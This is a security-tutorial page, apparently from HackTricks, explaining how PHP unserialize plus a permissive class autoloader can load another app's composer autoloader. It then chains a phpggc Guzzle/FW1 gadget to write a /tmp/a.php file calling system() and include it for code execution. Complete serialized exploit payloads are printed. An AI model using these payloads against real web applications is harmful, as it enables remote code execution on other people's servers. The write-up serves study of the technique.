Search K
Appearance
Appearance
Other ways to support HackTricks:
First, you should check what are Autoloading Classes.
We are in a situation where we found a PHP deserialization in a webapp with no library vulnerable to gadgets inside phpggc
. However, in the same container there was a different composer webapp with vulnerable libraries. Therefore, the goal was to load the composer loader of the other webapp and abuse it to load a gadget that will exploit that library with a gadget from the webapp vulnerable to deserialization.
Steps:
spl_autoload_register
function like the following to load any local file with .php
extension$name
. You cannot use "/" or "." in a class name in a serialized object, but the code is replacing the underscores ("_") for slashes ("/"). So a class name such as tmp_passwd
will be transformed into /tmp/passwd.php
and the code will try to load it.O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
โ
If you have a file upload and can upload a file with .php
extension you could abuse this functionality directly and get already RCE.
In my case, I didnโt have anything like that, but there was inside the same container another composer web page with a library vulnerable to a phpggc
gadget.
O:28:"www_frontend_vendor_autoload":0:{}
(In my case, the composer loader was in /www/frontend/vendor/autoload.php
)generate the phpgcc
payload to use. In my case, I used Guzzle/FW1
, which allowed me to write any file inside the filesystem. chain.php
of phpggc and set all the attributes of the classes from private to public. If not, after deserializing the string, the attributes of the created objects didnโt have any values.a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
system
with some base64 is created in /tmp/a.php
. Then, we can reuse the first type of payload that we used to as LFI to load the composer loader of the other webapp to load the generated /tmp/a.php
file. Just add it to the deserialization gadget: a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
Summary of the payload
I needed to call this deserialization twice. In my testing, the first time the /tmp/a.php
file was created but not loaded, and the second time it was correctly loaded.
Other ways to support HackTricks: